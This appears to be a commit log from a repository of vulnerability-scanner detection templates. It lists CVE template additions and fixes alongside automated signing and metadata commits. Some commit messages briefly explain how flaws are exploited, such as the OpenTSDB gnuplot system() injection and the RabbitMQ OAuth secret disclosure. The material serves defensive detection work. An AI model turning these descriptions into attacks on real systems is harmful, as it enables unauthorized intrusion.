Ritik Chaddha dafc1db229 Delete network/cves/2020/CVE-2020-2555.yaml 2026-08-25 01:27:54 +05:30
ghost c6ddb729ba chore: generate new addition list 🤖 2026-08-24 19:55:45 +00:00
ghost 986edaee3c chore: generate CVEs metadata 🤖 2026-08-24 19:55:29 +00:00
ghost dda45fbfa2 chore: sign templates 🤖 2026-08-24 19:55:15 +00:00
Chris (ChrisJr404) f0e04c2142 Add SigNoz Panel detection template 2026-08-24 15:55:13 -04:00
Ritik Chaddha 540060ff42 Merge pull request #16968 from projectdiscovery/Akokonunes-patch-10
Create CVE-2025-15403.yaml - RegistrationMagic <= 6.0.7.1 - Unauthenticated Privilege Escalation via rm_user_exists
2026-08-25 01:24:56 +05:30
Ritik Chaddha 6b24508445 Merge pull request #16937 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-11801.yaml - WPAdverts <= 2.3.2 - Unauthenticated Information Disclosure
2026-08-25 01:24:48 +05:30
Ritik Chaddha 374811373d Merge branch 'main' into Akokonunes-patch-7 2026-08-25 01:22:48 +05:30
ghost 975cf7004e chore: generate templates checksum 🤖 2026-08-24 19:52:04 +00:00
ghost 20a45da641 chore: sign templates 🤖 2026-08-24 19:49:33 +00:00
Ritik Chaddha 1162233650 Merge pull request #16940 from daffainfo/patch-771809
Refine login placeholders in empirec2-default-login.yaml
2026-08-25 01:19:13 +05:30
Ritik Chaddha d2bbb6b2ef Update CVE-2025-15403.yaml 2026-08-25 01:18:52 +05:30
ghost bfa541e0f5 chore: generate new addition list 🤖 2026-08-24 19:47:52 +00:00
Ritik Chaddha a75e3cf897 Update CVE-2026-11801.yaml 2026-08-25 01:17:47 +05:30
ghost 5288bebf6e chore: generate CVEs metadata 🤖 2026-08-24 19:47:29 +00:00
ghost da8e4571ac chore: sign templates 🤖 2026-08-24 19:47:19 +00:00
Ritik Chaddha d124c95753 Merge pull request #16931 from Popy21/template/cve-2024-1708
CVE-2024-1708
2026-08-25 01:16:56 +05:30
Chris (ChrisJr404) 9ee77c2ca1 Add CVE-2026-42878 - FacturaScripts unauthenticated phpinfo() disclosure 2026-08-24 15:46:45 -04:00
Ritik Chaddha d0deb14f32 Update CVE-2026-12898.yaml 2026-08-25 01:07:10 +05:30
Chris (ChrisJr404) affd7234da Add SilverBullet detection template 2026-08-24 15:32:40 -04:00
Chris (ChrisJr404) 7e86135f12 Add Wallos panel detection template 2026-08-24 15:24:33 -04:00
Chris (ChrisJr404) 95cb50ed2b Add Planka panel detection template 2026-08-24 15:01:28 -04:00
Chris (ChrisJr404) 29a698efcd Add InvenTree Panel detection template 2026-08-24 14:54:06 -04:00
Chris (ChrisJr404) 4d91d143af Add Docmost detection template 2026-08-24 14:45:21 -04:00
Chris (ChrisJr404) abb0914290 Add CVE-2025-53887 Directus version disclosure 2026-08-24 14:38:13 -04:00
Chris (ChrisJr404) f3c139c043 Add Komga media server detection template 2026-08-24 14:21:18 -04:00
Chris (ChrisJr404) 6af1bc2316 Add linkding detection template 2026-08-24 14:04:57 -04:00
Chris (ChrisJr404) aca1719334 Add wallabag detection template 2026-08-24 13:56:18 -04:00
Chris (ChrisJr404) 9d0d02d874 Add Karakeep detection template 2026-08-24 13:45:43 -04:00
Dhiyaneshwaran ff704e5e39 Update author field in CVE-2026-61511.yaml 2026-08-24 20:18:42 +04:00
Dhiyaneshwaran 58347153a2 CVE-2026-55040 - Microsoft SharePoint Server - JWT Authentication Bypass 2026-08-24 19:52:05 +04:00
ghost 8a15915ac6 chore: generate new addition list 🤖 2026-08-24 15:02:18 +00:00
ghost 4d60c57056 chore: generate CVEs metadata 🤖 2026-08-24 15:01:42 +00:00
Dhiyaneshwaran 48ba4a31cf Merge pull request #16970 from projectdiscovery/CVE-2025-14998
CVE-2025-14998 - Branda WordPress Plugin ≤3.4.24: Unauthenticated Account Takeover via Password Reset Bypass
2026-08-24 19:01:16 +04:00
ghost 0aa256a344 chore: generate templates stats 🤖 2026-08-24 13:03:32 +00:00
ghost e5f19e6144 chore: generate templates checksum 🤖 2026-08-24 12:13:48 +00:00
ghost fedfa2adff chore: generate new addition list 🤖 2026-08-24 12:12:32 +00:00
ghost 55c3c0d0b6 chore: generate new addition list 🤖 2026-08-24 12:12:15 +00:00
ghost 5c9d6a6f44 chore: generate CVEs metadata 🤖 2026-08-24 12:11:56 +00:00
ghost b59033e579 chore: sign templates 🤖 2026-08-24 12:11:51 +00:00
Roberto Nunes b9532fdb4b Merge pull request #16892 from str4k3r/str4k3r/cve-2026-0717
Add CVE-2026-0717 template
2026-08-24 21:11:28 +09:00
Roberto Nunes d8014c60ed Merge pull request #16894 from str4k3r/str4k3r/cve-2026-8236
Add CVE-2026-8236 template
2026-08-24 21:11:19 +09:00
ghost 051fb6b222 chore: generate new addition list 🤖 2026-08-24 12:11:17 +00:00
ghost 98b3ecedff chore: generate CVEs metadata 🤖 2026-08-24 12:10:52 +00:00
ghost 7730f2e0a4 chore: sign templates 🤖 2026-08-24 12:10:47 +00:00
ghost 183436e49c chore: generate new addition list 🤖 2026-08-24 12:10:41 +00:00
Roberto Nunes 552bf1a1e9 Merge pull request #16950 from gnuletik/fix/cve-2026-0558-dsl-quote
CVE-2026-0558: fix unclosed string literal in dsl matcher
2026-08-24 21:10:24 +09:00
Roberto Nunes 427d483f93 Merge pull request #16972 from projectdiscovery/CVE-2026-19598
CVE-2026-19598 - Pods <= 3.3.9 - Unauthenticated Privilege Escalation via pods_admin AJAX Router
2026-08-24 21:10:19 +09:00
ghost 5f61a28d38 chore: generate CVEs metadata 🤖 2026-08-24 12:10:10 +00:00
Roberto Nunes ab856a87f8 Merge pull request #16966 from Haseeb-1698/cve-2026-54917-seaweedfs
Add CVE-2026-54917 SeaweedFS path traversal
2026-08-24 21:09:48 +09:00
ghost ef8c4410f4 chore: generate new addition list 🤖 2026-08-24 12:09:07 +00:00
ghost 834aad8026 chore: generate CVEs metadata 🤖 2026-08-24 12:08:32 +00:00
ghost 5e0551aee8 chore: sign templates 🤖 2026-08-24 12:08:26 +00:00
Roberto Nunes 1c7a641188 Merge pull request #16847 from str4k3r/cve-2026-11387-ecosystem-20260812-v2
Add CVE-2026-11387 SMS Alert WordPress password-reset bypass
2026-08-24 21:08:02 +09:00
Dhiyaneshwaran 0933054dda CVE-2026-19598 - Pods <= 3.3.9 - Unauthenticated Privilege Escalation via pods_admin AJAX Router 2026-08-24 15:30:52 +04:00
Aman Rawat 9d9543b925 Create CVE-2025-14998.yaml 2026-08-24 15:32:38 +05:30
Dhiyaneshwaran 0e790216bb Update matched_feature extractor in CVE-2026-76904.yaml 2026-08-24 13:57:02 +04:00
Dhiyaneshwaran b29e733721 Update CVE-2026-0717.yaml 2026-08-24 13:33:45 +04:00
Dhiyaneshwaran 02b1082a55 Update CVE-2026-11387.yaml 2026-08-24 13:15:34 +04:00
ghost 3970a63892 chore: generate templates checksum 🤖 2026-08-24 08:57:09 +00:00
ghost 05dd4d7101 chore: generate new addition list 🤖 2026-08-24 08:54:45 +00:00
ghost dc33f9a74d chore: generate CVEs metadata 🤖 2026-08-24 08:54:10 +00:00
ghost e8248762d6 chore: sign templates 🤖 2026-08-24 08:54:07 +00:00
Aman Rawat 23d1e20e61 Merge pull request #16955 from projectdiscovery/CVE-2026-40217
Create CVE-2026-40217.yaml
2026-08-24 14:23:43 +05:30
Dhiyaneshwaran ac332c4457 Update CVE-2026-8236.yaml 2026-08-24 12:32:34 +04:00
Dhiyaneshwaran 3a8ea6d85f Update CVE-2026-54917.yaml 2026-08-24 12:13:38 +04:00
ghost 24858b4bfa chore: generate templates checksum 🤖 2026-08-24 06:31:05 +00:00
ghost 48a4f86512 chore: generate new addition list 🤖 2026-08-24 06:28:54 +00:00
ghost d47eb02e1b chore: generate CVEs metadata 🤖 2026-08-24 06:28:22 +00:00
ghost 483c7cbb2d chore: sign templates 🤖 2026-08-24 06:28:16 +00:00
Aman Rawat 9a48953ca0 Merge pull request #16941 from Aryu-RU/cve-2023-25826
CVE-2023-25826 - OpenTSDB <=2.4.1 - Remote Code Execution
2026-08-24 11:57:55 +05:30
ghost 7397b0401a chore: generate templates checksum 🤖 2026-08-24 05:56:27 +00:00
ghost eeaaf52b38 chore: generate new addition list 🤖 2026-08-24 05:54:21 +00:00
ghost ceb269857d chore: generate CVEs metadata 🤖 2026-08-24 05:53:49 +00:00
ghost 03aa267c7e chore: sign templates 🤖 2026-08-24 05:53:44 +00:00
Dhiyaneshwaran 10ccc4a9c1 Merge pull request #16967 from projectdiscovery/16958-vBulletin-pre-auth-RCE
Create CVE-2026-61511.yaml - vBulletin 6.x - Remote Code Execution
2026-08-24 09:53:22 +04:00
ghost afd2061acf chore: update EPSS scores 🤖 2026-08-24 02:28:14 +00:00
Roberto Nunes 933601ef7c Create CVE-2025-15403.yaml 2026-08-24 09:08:45 +09:00
Roberto Nunes 1405f47d65 Update author of CVE-2026-61511 to 0x_Akoko 2026-08-24 08:17:59 +09:00
Roberto Nunes 3213761b9d Refine vulnerability name for CVE-2026-61511
Updated CVE-2026-61511.yaml to refine the vulnerability name.
2026-08-24 08:16:56 +09:00
Muhammad Haseeb 91741302a5 cve-2026-54917: Add SeaweedFS path traversal detection 2026-08-23 23:29:23 +05:00
ghost d7a0bc103c chore: update EPSS scores 🤖 2026-08-23 02:28:15 +00:00
ghost c0af36c246 chore: generate templates checksum 🤖 2026-08-22 12:22:23 +00:00
ghost 2607713633 chore: generate new addition list 🤖 2026-08-22 12:21:13 +00:00
Ritik Chaddha 7a5b4d03b9 Create CVE-2026-40217.yaml 2026-08-22 17:50:46 +05:30
ghost 7a5b27aa09 chore: generate CVEs metadata 🤖 2026-08-22 12:20:36 +00:00
Ritik Chaddha 5a42f7b99e Delete http/cves/2026/CVE-2026-40217.yaml 2026-08-22 17:50:16 +05:30
ghost 09023ccf0f chore: generate new addition list 🤖 2026-08-22 12:20:14 +00:00
ghost 709ced9c58 chore: sign templates 🤖 2026-08-22 12:19:43 +00:00
ghost aa89413d67 chore: generate CVEs metadata 🤖 2026-08-22 12:19:35 +00:00
Ritik Chaddha 644fee39f6 Create CVE-2026-40217.yaml 2026-08-22 17:49:15 +05:30
ghost 98cb5766fa chore: update EPSS scores 🤖 2026-08-22 02:23:35 +00:00
ghost e29d8f4127 chore: generate templates checksum 🤖 2026-08-21 19:38:08 +00:00
ghost 384a558419 chore: generate new addition list 🤖 2026-08-21 19:35:54 +00:00
ghost 123a8e8223 chore: generate CVEs metadata 🤖 2026-08-21 19:35:31 +00:00
ghost f77e924c0f chore: sign templates 🤖 2026-08-21 19:35:20 +00:00
Dhiyaneshwaran 97c2ceddce Merge pull request #16434 from kenlacroix/add-cve-2026-45695
Add CVE-2026-45695: Kopia Server SSH ProxyCommand Injection (Unauth RCE)
2026-08-21 23:34:57 +04:00
ghost c8c32c3453 chore: update KEV and vKEV tags and metadata 🤖 2026-08-21 03:22:37 +00:00
ghost dd4ba46a34 chore: update EPSS scores 🤖 2026-08-21 02:28:16 +00:00
Martin Desrumaux 419159aa43 CVE-2026-0558: fix unclosed string literal in dsl matcher 2026-08-20 11:38:10 +02:00
Roberto Nunes 82a04ae437 Update CVE-2023-25826.yaml 2026-08-20 18:36:46 +09:00
Ritik Chaddha 6ba9f91ded Update CVE-2026-45695.yaml 2026-08-20 15:04:29 +05:30
ghost 7048392fc2 chore: generate templates checksum 🤖 2026-08-20 06:56:56 +00:00
ghost 7854105f9e chore: generate new addition list 🤖 2026-08-20 06:55:00 +00:00
ghost 2cdb17a6f2 chore: generate CVEs metadata 🤖 2026-08-20 06:54:29 +00:00
Roberto Nunes 146c1382ab Merge pull request #16237 from KoungQ/add-cve-2026-0558-lollms-template
Add CVE-2026-0558 LoLLMS unauthenticated file upload template
2026-08-20 15:54:02 +09:00
Aryu-RU bd72d993b5 CVE-2023-25826 - OpenTSDB <=2.4.1 - Remote Code Execution
The key parameter of the legacy /q graphing endpoint is written into the
gnuplot script without validation, so an unauthenticated request can append
a gnuplot system() directive and run commands on the host.

This is the incomplete fix for CVE-2020-35476, which only constrained
yrange. The existing CVE-2020-35476 template does not cover it: on 2.4.1
its yrange payload is rejected with HTTP 400 and nothing executes.

Detection reads an existing metric name from /api/suggest first, since the
graph handler returns HTTP 500 without one, and confirms execution through
an out-of-band interaction rather than the response body alone.
2026-08-20 06:51:39 +00:00
ghost 2b429f725e chore: generate templates checksum 🤖 2026-08-20 06:27:53 +00:00
ghost dfddf5bcf0 chore: generate new addition list 🤖 2026-08-20 06:26:32 +00:00
ghost 0c2fed7b05 chore: generate new addition list 🤖 2026-08-20 06:26:07 +00:00
ghost 6ca831a6ef chore: generate CVEs metadata 🤖 2026-08-20 06:26:02 +00:00
ghost 4e3f616143 chore: sign templates 🤖 2026-08-20 06:25:55 +00:00
ghost 15e1a1792e chore: generate new addition list 🤖 2026-08-20 06:25:39 +00:00
Aman Rawat 61af10c3b0 Merge pull request #16932 from Aryu-RU/add-cve-2026-57219
Add CVE-2026-57219 - RabbitMQ Management - OAuth 2 Client Secret Disclosure
2026-08-20 11:55:34 +05:30
ghost 98437b7ab7 chore: generate CVEs metadata 🤖 2026-08-20 06:25:32 +00:00
Aman Rawat 06af7e6c28 Merge pull request #16933 from Aryu-RU/add-cve-2026-49069
Add CVE-2026-49069 WPZOOM Portfolio cross-site scripting
2026-08-20 11:55:10 +05:30
ghost a7b6979f94 chore: sign templates 🤖 2026-08-20 06:25:04 +00:00
Aman Rawat 494f80d94e Merge pull request #16216 from fineman999/add-cve-2026-35037
Add CVE-2026-35037 Ech0 SSRF template
2026-08-20 11:54:41 +05:30
ghost 23b9b110f3 chore: generate templates checksum 🤖 2026-08-20 05:40:34 +00:00
ghost 2e87b57622 chore: generate new addition list 🤖 2026-08-20 05:38:39 +00:00
ghost 68c70adc88 chore: sign templates 🤖 2026-08-20 05:38:09 +00:00
Aman Rawat 3fa131ccb5 Merge pull request #16850 from str4k3r/cve-2026-12394-ecosystem-20260812-v2
Add CVE-2026-12394 MemberGlut WordPress role injection
2026-08-20 11:07:45 +05:30
ghost 642d4cb6b8 chore: generate templates checksum 🤖 2026-08-20 05:10:08 +00:00
ghost 4788085501 chore: sign templates 🤖 2026-08-20 05:07:55 +00:00
Roberto Nunes 524dcfbb4b Merge pull request #16939 from daffainfo/patch-271755
Fix username key structure in mysql-empty-password.yaml
2026-08-20 14:07:37 +09:00
ghost 0e3605dd72 chore: sign templates 🤖 2026-08-20 05:07:22 +00:00
Roberto Nunes 5b765d31b3 Merge pull request #16918 from daffainfo/patch-320745
Update email and password variable names in CVE YAML
2026-08-20 14:07:01 +09:00
ghost 39f44705e0 chore: generate templates checksum 🤖 2026-08-20 04:31:50 +00:00
ghost 5eb2fb9575 chore: sign templates 🤖 2026-08-20 04:29:23 +00:00
Dhiyaneshwaran d13259b37c Merge pull request #16938 from daffainfo/patch-60207
Update CVE-2022-29013.yaml
2026-08-20 08:29:02 +04:00
Muhammad Daffa 7a1514e689 Refine login placeholders in empirec2-default-login.yaml
Changed placeholder keys for username and password in the YAML file to improve clarity.
2026-08-20 10:29:23 +07:00
Muhammad Daffa 90860ec817 Fix username key structure in mysql-empty-password.yaml
Corrected the structure of the username key in the YAML file.
2026-08-20 10:28:17 +07:00
Muhammad Daffa 6793cf67e7 Update CVE-2022-29013.yaml 2026-08-20 10:25:04 +07:00
ghost 2651ed89a5 chore: update KEV and vKEV tags and metadata 🤖 2026-08-20 03:19:11 +00:00
Roberto Nunes ca5cfafbfd Create CVE-2026-11801.yaml 2026-08-20 12:02:06 +09:00
ghost 3b2460bffd chore: update EPSS scores 🤖 2026-08-20 02:24:33 +00:00
Roberto Nunes 5f19dfba76 Update CVE-2024-1708.yaml 2026-08-20 09:06:52 +09:00
ghost 18917dee27 chore: generate templates checksum 🤖 2026-08-19 15:38:13 +00:00
ghost 5d182fd559 chore: sign templates 🤖 2026-08-19 15:34:27 +00:00
Ritik Chaddha 7b1b4e420a added co-author 2026-08-19 21:04:02 +05:30
ghost 21221a0cb2 chore: generate templates checksum 🤖 2026-08-19 15:33:20 +00:00
ghost 28670c555a chore: sign templates 🤖 2026-08-19 15:30:29 +00:00
ghost 341cc5bf0f chore: generate CVEs metadata 🤖 2026-08-19 15:30:26 +00:00
Ritik Chaddha d104c30c17 added co-author 2026-08-19 21:00:05 +05:30
Ritik Chaddha f9654bf369 Update CVE-2026-0558.yaml 2026-08-19 20:23:44 +05:30
Ritik Chaddha 5c177aa554 Update CVE-2026-35037.yaml 2026-08-19 20:16:24 +05:30
ghost 99e5ea8f85 chore: generate templates checksum 🤖 2026-08-19 14:14:02 +00:00
ghost 780a3e9913 chore: generate new addition list 🤖 2026-08-19 14:12:06 +00:00
ghost a19c184431 chore: sign templates 🤖 2026-08-19 14:11:17 +00:00
Ritik Chaddha 9d0505602e Merge pull request #16898 from Haseeb-1698/add-cve-2026-55087-etherpad
Add CVE-2026-55087 Etherpad template
2026-08-19 19:40:54 +05:30
ghost 90cfd9a8f9 chore: generate new addition list 🤖 2026-08-19 14:07:24 +00:00
ghost a6f50f4fc6 chore: generate templates checksum 🤖 2026-08-19 14:07:14 +00:00
ghost 89a34a1d4d chore: sign templates 🤖 2026-08-19 14:06:35 +00:00
ghost fd3fcc0ada chore: generate CVEs metadata 🤖 2026-08-19 14:06:31 +00:00
Ritik Chaddha beebc94a34 Merge pull request #16911 from projectdiscovery/CVE-2022-1281
CVE-2022-1281 - Photo Gallery WordPress - SQL Injection
2026-08-19 19:36:13 +05:30
ghost 0b6eabb267 chore: generate new addition list 🤖 2026-08-19 14:05:47 +00:00
ghost 5677a7c31a chore: generate templates checksum 🤖 2026-08-19 14:05:14 +00:00
ghost 25a60774c1 chore: generate CVEs metadata 🤖 2026-08-19 14:05:04 +00:00
ghost 6fbe39bd17 chore: sign templates 🤖 2026-08-19 14:04:59 +00:00
Ritik Chaddha c54d6a9f0a Merge branch 'main' into add-cve-2026-55087-etherpad 2026-08-19 19:34:56 +05:30
ghost 7b4957b5a7 chore: generate new addition list 🤖 2026-08-19 14:04:46 +00:00
Ritik Chaddha 1a8cbc76b2 Merge pull request #16899 from Aryu-RU/add-cve-2026-3576
Add CVE-2026-3576 - Planyo Online Reservation System <= 3.0 - Arbitrary File Read
2026-08-19 19:34:37 +05:30
Ritik Chaddha 4c53609d7c Merge branch 'main' into add-cve-2026-3576 2026-08-19 19:34:27 +05:30
ghost ef62bdbb69 chore: generate CVEs metadata 🤖 2026-08-19 14:04:18 +00:00
ghost 89a0d83e6d chore: sign templates 🤖 2026-08-19 14:04:13 +00:00
Ritik Chaddha dfd7bc7d62 Merge pull request #16902 from mmadersbacher/add-cve-2020-10204
Added CVE-2020-10204 | Sonatype Nexus Repository Manager 3 RCE
2026-08-19 19:33:49 +05:30
ghost a7278f99be chore: generate templates checksum 🤖 2026-08-19 14:03:21 +00:00
ghost 5307eb3e55 chore: generate new addition list 🤖 2026-08-19 14:03:03 +00:00
ghost eaa09d7dfc chore: generate CVEs metadata 🤖 2026-08-19 14:02:39 +00:00
ghost 45e7fa4c30 chore: sign templates 🤖 2026-08-19 14:02:28 +00:00
Ritik Chaddha b6025d483c Merge pull request #16903 from Pauullamm/CVE-2026-8237
CVE 2026 8237
2026-08-19 19:32:03 +05:30
ghost b6b08286ef chore: generate templates checksum 🤖 2026-08-19 14:00:59 +00:00
ghost 9d12001265 chore: sign templates 🤖 2026-08-19 14:00:42 +00:00
Ritik Chaddha 0964d34f76 Merge pull request #16908 from projectdiscovery/printer-intrusive-tags-v2
Printers: add intrusive tag to vuln, misconfig, CVE and default-login templates
2026-08-19 19:30:18 +05:30
Ritik Chaddha 6ff32bc548 Update CVE-2022-1281.yaml 2026-08-19 19:30:13 +05:30
ghost be35041178 chore: generate new addition list 🤖 2026-08-19 13:59:13 +00:00
ghost 14e8b31577 chore: sign templates 🤖 2026-08-19 13:58:39 +00:00
ghost 0cc06d920c chore: generate CVEs metadata 🤖 2026-08-19 13:58:36 +00:00
Ritik Chaddha 7f22d12b2f Merge pull request #16798 from 1dayexploit/cve-2026-17594
Add CVE-2026-17594 - Sonatype Nexus Repository < 3.95.0 - Privilege Escalation via Repository Format Mismatch
2026-08-19 19:28:13 +05:30
Ritik Chaddha 49fe760484 Update CVE-2020-10204.yaml 2026-08-19 19:28:09 +05:30
Ritik Chaddha 048d13f7dd Update CVE-2026-8237.yaml 2026-08-19 19:26:30 +05:30
Ritik Chaddha 5d231f9462 Update CVE-2026-3576.yaml 2026-08-19 19:25:04 +05:30
Ritik Chaddha 33b3b1ba76 Update CVE-2026-55087.yaml 2026-08-19 19:23:39 +05:30
Ritik Chaddha 4daca1f1bf Update CVE-2026-17594.yaml 2026-08-19 19:21:14 +05:30
Roberto Nunes b464651acc Update CVE-2026-49069.yaml 2026-08-19 22:39:48 +09:00
Roberto Nunes 6891e2d354 Update CVE-2026-57219.yaml 2026-08-19 22:25:48 +09:00
ghost 33e12b63aa chore: generate templates checksum 🤖 2026-08-19 10:43:35 +00:00
ghost 9ed4bd8c51 chore: sign templates 🤖 2026-08-19 10:42:58 +00:00
Dhiyaneshwaran 2fe0f0f1c2 Merge pull request #16934 from daffainfo/patch-894830
Fix indentation in kubernetes-metrics.yaml
2026-08-19 14:42:37 +04:00
ghost dd3256bf06 chore: generate new addition list 🤖 2026-08-19 10:41:35 +00:00
ghost 8bacaac1ed chore: generate CVEs metadata 🤖 2026-08-19 10:40:51 +00:00
ghost b06c313736 chore: sign templates 🤖 2026-08-19 10:40:47 +00:00
Dhiyaneshwaran e49dd40459 Merge pull request #16928 from buzhimingdeaikun/codex/cve-2026-41042-gravitino-rce
Add CVE-2026-41042 Gravitino unauthenticated RCE template
2026-08-19 14:40:25 +04:00
Muhammad Daffa 1ecf657bb7 Fix indentation in kubernetes-metrics.yaml 2026-08-19 17:36:14 +07:00
ghost bf0b268679 chore: generate templates checksum 🤖 2026-08-19 09:01:33 +00:00
ghost c6a5fd6e7f chore: generate new addition list 🤖 2026-08-19 09:00:29 +00:00
ghost a44edd1801 chore: sign templates 🤖 2026-08-19 08:59:51 +00:00
Aman Rawat a33f75e912 Merge pull request #16907 from Th3l0newolf/timepro
Add easy TimePro login panel
2026-08-19 14:29:29 +05:30
ghost aaeec58cdf chore: sign templates 🤖 2026-08-19 08:58:45 +00:00
Aryu-RU e066920768 Add CVE-2026-49069 WPZOOM Portfolio cross-site scripting 2026-08-19 08:58:32 +00:00
Aman Rawat 20bbc11cc2 Merge pull request #16924 from projectdiscovery/use-random-string-fp
Update CVE-2026-64849.yaml
2026-08-19 14:28:23 +05:30
Aman Rawat 9cf1a5b165 Merge branch 'main' into use-random-string-fp 2026-08-19 14:11:50 +05:30
ghost 8ce04fa075 chore: generate templates checksum 🤖 2026-08-19 08:41:46 +00:00
ghost 69a023c9d5 chore: generate new addition list 🤖 2026-08-19 08:41:32 +00:00
ghost 3cf478c500 chore: generate CVEs metadata 🤖 2026-08-19 08:40:50 +00:00
ghost 4a53f48750 chore: sign templates 🤖 2026-08-19 08:40:43 +00:00
Aman Rawat f37500939b Merge pull request #16929 from spcuftwadejacobhurst/cve-2026-55224
Add CVE-2026-55224 - MineAdmin Plugin Store Path Traversal
2026-08-19 14:10:22 +05:30
ghost 4fc417f6ac chore: generate new addition list 🤖 2026-08-19 08:39:40 +00:00
ghost bcbc3d0128 chore: sign templates 🤖 2026-08-19 08:38:56 +00:00
Aman Rawat b9119c7e2d Merge pull request #16927 from projectdiscovery/CVE-2026-19478
CVE-2026-19478 - GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation
2026-08-19 14:08:32 +05:30
Ritik Chaddha ce5ce9a143 Update and rename easy-timepro-login.yaml to easy-timepro-panel.yaml 2026-08-19 14:07:20 +05:30
Dhiyaneshwaran dc3e102f59 Add dynamic filename variable to CVE-2026-41042.yaml 2026-08-19 12:16:55 +04:00
ghost 8428383bfd chore: generate templates checksum 🤖 2026-08-19 08:13:21 +00:00
ghost d75d892424 chore: generate new addition list 🤖 2026-08-19 08:12:38 +00:00
ghost 46236bf702 chore: generate CVEs metadata 🤖 2026-08-19 08:11:59 +00:00
ghost 80c37e95e7 chore: sign templates 🤖 2026-08-19 08:10:40 +00:00
Dhiyaneshwaran 5004fd189b Merge pull request #16930 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-56270.yaml - Flowise <= 3.0.13 - Unauthenticated OAuth Configuration Disclosure
2026-08-19 12:10:18 +04:00
Roberto Nunes 980bd883c3 Update `CVE-2026-41042.yaml 2026-08-19 16:53:11 +09:00
Adel Bouachraoui 231c57ca15 CVE-2024-1708 — add detection template 2026-08-19 08:56:24 +02:00
Aryu-RU 43535c91a2 Add CVE-2026-57219 - RabbitMQ Management - OAuth 2 Client Secret Disclosure
The management plugin's obsolete /api/auth handler returns true from
is_authorized/2, so it serves anonymous callers, and produce_auth_settings/2
serialises management.oauth_client_secret into the response.

Matching the oauth_client_secret key alone is sound: the key is omitted
entirely when no secret is configured, and a broker configured with an empty
secret refuses to start, so the key is only ever present with a real value.
The fix removes the route, so patched brokers answer 404.
2026-08-19 05:51:01 +00:00
Roberto Nunes 57ee131d7b Update CVE-2026-55224.yaml 2026-08-19 13:54:24 +09:00
ghost 730663aca3 chore: generate templates checksum 🤖 2026-08-19 04:18:13 +00:00
ghost abbd49b48c chore: generate new addition list 🤖 2026-08-19 04:16:59 +00:00
ghost 099de3e30b chore: generate CVEs metadata 🤖 2026-08-19 04:16:16 +00:00
ghost 1262a7e544 chore: sign templates 🤖 2026-08-19 04:16:13 +00:00
ghost ccc587ae9f chore: generate new addition list 🤖 2026-08-19 04:16:07 +00:00
Roberto Nunes 48340f699f Merge pull request #16732 from prithvee07/claude/repo-contribution-lrc40b
repo contribution lrc40b
2026-08-19 13:15:49 +09:00
ghost 24ff404423 chore: generate CVEs metadata 🤖 2026-08-19 04:15:42 +00:00
ghost ec366e93d5 chore: sign templates 🤖 2026-08-19 04:15:32 +00:00
Roberto Nunes e66179ea8d Merge pull request #16920 from projectdiscovery/CVE-2026-15826
CVE-2026-15826 - User Profile Builder 3.16.4 - Unauthenticated Authentication Bypass
2026-08-19 13:15:08 +09:00
ghost dd887e581f chore: update KEV and vKEV tags and metadata 🤖 2026-08-19 03:19:39 +00:00
Roberto Nunes c6303c77ea Update CVE-2026-56270.yaml 2026-08-19 11:26:49 +09:00
ghost 0e1bb374fc chore: update EPSS scores 🤖 2026-08-19 02:24:48 +00:00
Roberto Nunes 530783a6d9 Update CVE-2026-56270.yaml 2026-08-19 11:21:34 +09:00
Roberto Nunes 683596a6e7 Create CVE-2026-56270.yaml 2026-08-19 11:13:21 +09:00
afanti 81badc83d5 add CVE-2026-55224 MineAdmin path traversal template 2026-08-19 07:53:37 +08:00
buzhimingdeaikun edd57f4585 Add CVE-2026-41042 vulnerability details
CVE-2026-41042 describes a critical vulnerability in Apache Gravitino that allows unauthenticated remote code execution via a specific endpoint. The YAML file includes details about the vulnerability, its impact, remediation steps, and example HTTP requests.
2026-08-19 03:41:29 +08:00
Dhiyaneshwaran c2fa69246d CVE-2026-19478 - GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation 2026-08-18 23:40:47 +04:00
Icaro Torres 2dc06dea37 Create litellm-default-login.yaml
LiteLLM enables default admin credential. An attacker can execute unauthorized operations.
2026-08-18 13:01:51 -03:00
Dhiyaneshwaran 213824d5bc Update CVE-2026-64849.yaml 2026-08-18 18:13:33 +04:00
ghost 55cce9268a chore: generate templates checksum 🤖 2026-08-18 14:05:43 +00:00
ghost e0d0648884 chore: generate new addition list 🤖 2026-08-18 14:03:01 +00:00
ghost 9f9219ed9d chore: generate CVEs metadata 🤖 2026-08-18 14:02:17 +00:00
ghost 8879666318 chore: sign templates 🤖 2026-08-18 14:02:15 +00:00
Aman Rawat 8035dd698d Merge pull request #16923 from projectdiscovery/CVE-2026-64849
CVE-2026-64849 - MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass
2026-08-18 19:31:52 +05:30
Dhiyaneshwaran f6cfec11b1 CVE-2026-64849 - MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass 2026-08-18 17:51:05 +04:00
Dominique RIGHETTO 027e2b88f0 Fix formatting in mguard-security-appliance-login.yaml 2026-08-18 14:06:23 +02:00
Dominique RIGHETTO 4f39fe275e Add files via upload 2026-08-18 13:57:49 +02:00
Aman Rawat 013b57f657 Create CVE-2026-15826.yaml 2026-08-18 17:10:08 +05:30
ghost 2d9e43bb98 chore: generate templates checksum 🤖 2026-08-18 11:14:22 +00:00
ghost b4cbbb3a2d chore: sign templates 🤖 2026-08-18 11:12:22 +00:00
Roberto Nunes 9d67f26deb Merge pull request #16915 from n3integration/misc-metadata
Misc metadata
2026-08-18 20:12:01 +09:00
ghost 4ff9429b01 chore: sign templates 🤖 2026-08-18 11:11:31 +00:00
Roberto Nunes 015c590c19 Merge pull request #16912 from munzzyy/fix-vrview-xss-matchers-condition
Fix wp-vr-view-xss and vrview-xss firing on hosts that escape the payload
2026-08-18 20:11:11 +09:00
Aman Rawat 417eeb46f9 Refactor 2026-08-18 16:06:50 +05:30
Aman Rawat 5ce1c2207a Merge branch 'main' into misc-metadata 2026-08-18 12:49:33 +05:30
Aman Rawat 1074b649e7 Update 2026-08-18 12:48:05 +05:30
Aman Rawat e51733b8bb Update CVE-2026-17594.yaml 2026-08-18 12:11:50 +05:30
ghost 11ac0ae38c chore: generate templates checksum 🤖 2026-08-18 06:36:31 +00:00
ghost 321b796337 chore: generate new addition list 🤖 2026-08-18 06:34:16 +00:00
ghost c60854c47b chore: generate CVEs metadata 🤖 2026-08-18 06:33:29 +00:00
ghost 2af83e9cf5 chore: sign templates 🤖 2026-08-18 06:33:24 +00:00
